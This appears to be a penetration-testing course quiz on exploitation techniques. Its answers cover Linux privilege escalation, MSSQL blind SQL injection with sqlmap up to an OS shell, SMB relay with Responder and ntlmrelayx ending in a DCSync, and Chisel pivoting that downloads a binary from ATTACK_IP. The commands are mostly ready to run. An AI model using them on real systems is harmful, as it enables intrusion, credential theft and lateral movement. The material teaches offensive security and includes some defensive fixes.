Chapter 3.2 Quiz - Exploitation Techniques

Quiz Mode - All answers are hidden under collapsible sections. Attempt each question before revealing the answer.

Question 1

You have exploited a web application via SQL injection and obtained a Meterpreter shell running as www-data. Running getuid returns uid=33(www-data). You want to escalate to root. What Metasploit command do you run first to identify potential paths, and what is the most common category of local privilege escalation on a typical Linux web server?

Reveal Answer

Answer: run post/multi/recon/local_exploit_suggester

Explanation: The local exploit suggester checks the target's kernel version, installed software, and configuration against a database of known local privilege escalation exploits in Metasploit's post modules. It's non-destructive and fast.

meterpreter > run post/multi/recon/local_exploit_suggester
# Example output:
# [+] exploit/linux/local/sudo_baron_samedit (CVE-2021-3156) - likely
# [+] exploit/linux/local/overlayfs_priv_esc - likely

Most common categories on Linux web servers:

SUID binaries - binaries owned by root with SUID bit set run as root regardless of caller

find / -perm -u=s -type f 2>/dev/null   # Find SUID binaries
# Check GTFOBins (gtfobins.github.io) for exploitation of known SUID binaries
# e.g., if /usr/bin/find has SUID: find . -exec /bin/sh -p \; -quit

Sudo misconfigurations - www-data allowed to run specific commands as root

sudo -l   # List allowed sudo commands
# (ALL) NOPASSWD: /usr/bin/python3  - python3 -c 'import os; os.system("/bin/bash")'

Kernel exploits - unpatched kernel with local privilege escalation CVE

uname -a   # Get kernel version
# Search: searchsploit linux kernel 5.4.0 privilege escalation

Writable cron jobs - cron running a script owned/writable by www-data

cat /etc/cron* 2>/dev/null
ls -la /etc/cron.d/ /etc/cron.hourly/

MITRE ATT&CK: T1068 (Exploitation for Privilege Escalation), T1548.003 (Sudo/Sudo Caching)

Question 2

A web application reflects user input into a page without sanitization. You inject '; WAITFOR DELAY '0:0:5'-- into a login field and the response takes exactly 5 seconds. What have you confirmed, what database is running, and what is the correct sqlmap command to further exploit this?

Reveal Answer

Answer: You have confirmed blind time-based SQL injection on a Microsoft SQL Server instance.

Explanation:

WAITFOR DELAY '0:0:5' is a MSSQL-specific time delay function. The MySQL equivalent is SLEEP(5), PostgreSQL uses pg_sleep(5).
The 5-second response time confirms the injected SQL executed - meaning the application is vulnerable to SQLi and the backend is MSSQL.
It's blind because no data is returned in the response - only timing confirms execution.

sqlmap -u "http://target.example.com/login" \
  --method POST \
  --data "username=admin&password=test" \   # POST body
  --dbms=mssql \                            # Specify DBMS (speeds up detection)
  --technique=T \                           # Time-based blind only (confirmed technique)
  --level=2 \
  --batch \
  --dbs                                     # Enumerate databases

# Once database is identified, dump tables
sqlmap -u "http://target.example.com/login" \
  --method POST --data "username=admin&password=test" \
  --dbms=mssql --technique=T --batch \
  -D master --tables

# Attempt OS command execution via xp_cmdshell (MSSQL sysadmin required)
sqlmap -u "http://target.example.com/login" \
  --method POST --data "username=admin&password=test" \
  --dbms=mssql --batch \
  --os-shell                                # Enables xp_cmdshell if sysadmin privs exist

Defensive fix:

# Use parameterized queries - the only reliable SQLi prevention
import pyodbc
cursor.execute("SELECT * FROM users WHERE username=? AND password=?",
               (username, password))   # Parameters bound separately, never concatenated

MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1059.009 (SQL)

Question 3

During an internal penetration test, you run cme smb 192.168.1.0/24 and observe that the Domain Controller at 192.168.1.10 has SMB signing: False. Why is this significant, and what attack does it enable that would not be possible if signing were enforced?

Reveal Answer

Answer: Disabled SMB signing enables SMB relay attacks - capturing NTLM authentication from one machine and replaying it to the Domain Controller (or other hosts) to gain authenticated access without knowing the password.

Explanation: SMB message signing ensures each SMB message is cryptographically signed by the session key derived from the user's credentials. Without signing, an attacker in a man-in-the-middle position can:

Intercept an NTLM authentication challenge/response destined for one server
Relay that authentication in real time to another server (e.g., the DC)
Gain an authenticated session as the victim user - without cracking any hash

# Step 1: Identify hosts without SMB signing (relay targets)
cme smb 192.168.1.0/24 --gen-relay-list /tmp/relay_targets.txt
# Only hosts with signing=False are viable relay targets

# Step 2: Set up Responder to capture NTLM challenges (disable SMB/HTTP servers)
# Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off
# (We want ntlmrelayx to handle these, not Responder itself)
responder -I eth0 -rdw \             # Poison LLMNR/NBT-NS/mDNS
  --lm                               # Downgrade to LM if possible

# Step 3: Run ntlmrelayx targeting the DC or other signing-disabled hosts
impacket-ntlmrelayx \
  -tf /tmp/relay_targets.txt \       # List of targets
  -smb2support \                     # SMB2 support
  -socks                             # Create SOCKS proxy per relayed session
  # Or for command execution:
  # -c "powershell -enc [base64_payload]"

# Any user who authenticates (via net drive, printer, web browser with NTLM)
# has their auth relayed to the target - you get their session

# Step 4: Use relayed sessions via SOCKS
proxychains impacket-secretsdump \
  DOMAIN/user@192.168.1.10 \        # DCSync via relayed session
  -no-pass

Defensive fix:

# Enforce SMB signing on all Windows hosts via GPO
# Computer Configuration - Windows Settings - Security Settings -
# Local Policies - Security Options:
# "Microsoft network server: Digitally sign communications (always)" - Enabled
# "Microsoft network client: Digitally sign communications (always)" - Enabled

# Or via PowerShell on the server:
Set-SmbServerConfiguration -RequireSecuritySignature $true
Set-SmbClientConfiguration -RequireSecuritySignature $true

MITRE ATT&CK: T1557.001 (LLMNR/NBT-NS Poisoning and SMB Relay)

Question 4

You have code execution on a Linux server inside a DMZ (192.168.50.0/24). The internal network (10.10.20.0/24) is not directly routable from your attack box. Describe the complete pivoting setup using Chisel to scan the internal network, including the exact commands on both machines.

Reveal Answer

Answer: Use Chisel in reverse SOCKS proxy mode to tunnel traffic through the compromised DMZ host.

Architecture:

Attack Box --[public]--> DMZ Host (192.168.50.100) --[internal]--> 10.10.20.0/24
[Chisel Server]              [Chisel Client]
[proxychains - SOCKS]

Step-by-step commands:

# --- ATTACK BOX ---

# Step 1: Download and serve Chisel binary
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz && mv chisel_linux_amd64 chisel && chmod +x chisel

# Serve to compromised host
python3 -m http.server 8000

# Step 2: Start Chisel in reverse server mode
./chisel server \
  --port 9001 \                      # Listen for reverse connections
  --reverse \                        # Allow reverse tunnels
  --socks5                           # Enable SOCKS5 proxy mode


# --- COMPROMISED DMZ HOST ---

# Step 3: Download Chisel from attack box
wget http://ATTACK_IP:8000/chisel -O /tmp/chisel
chmod +x /tmp/chisel

# Step 4: Connect back to attack box and create reverse SOCKS tunnel
/tmp/chisel client \
  ATTACK_IP:9001 \                   # Connect to Chisel server
  R:1080:socks                       # Create reverse SOCKS5 proxy on attack box port 1080
# "R:" means reverse - tunnel is initiated by compromised host, exits on attack box


# --- ATTACK BOX (after client connects) ---

# Step 5: Configure proxychains
cat >> /etc/proxychains4.conf << 'EOF'
[ProxyList]
socks5 127.0.0.1 1080
EOF

# Step 6: Scan internal network through the tunnel
proxychains nmap \
  -sT \                              # TCP connect scan (proxychains doesn't support raw sockets)
  -p 22,80,443,445,3389,8080 \
  -Pn \                              # Skip host discovery (ICMP doesn't work through SOCKS)
  --open \
  10.10.20.0/24

# Access internal web server
proxychains curl http://10.10.20.50/

# SSH to internal host through tunnel
proxychains ssh user@10.10.20.50

# Metasploit through the pivot
msf6 > setg Proxies socks5:127.0.0.1:1080
msf6 > setg ReverseAllowProxy true
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.10.20.0/24
msf6 > run

Detection: The Chisel connection from DMZ host to attack box appears as a single persistent outbound TCP connection. Defenders should alert on: long-duration outbound connections from servers, unexpected external destinations, high byte-volume sessions on non-standard ports.

MITRE ATT&CK: T1090.001 (Proxy: Internal Proxy), T1572 (Protocol Tunneling)

End of Quiz 3.2 - Exploitation Techniques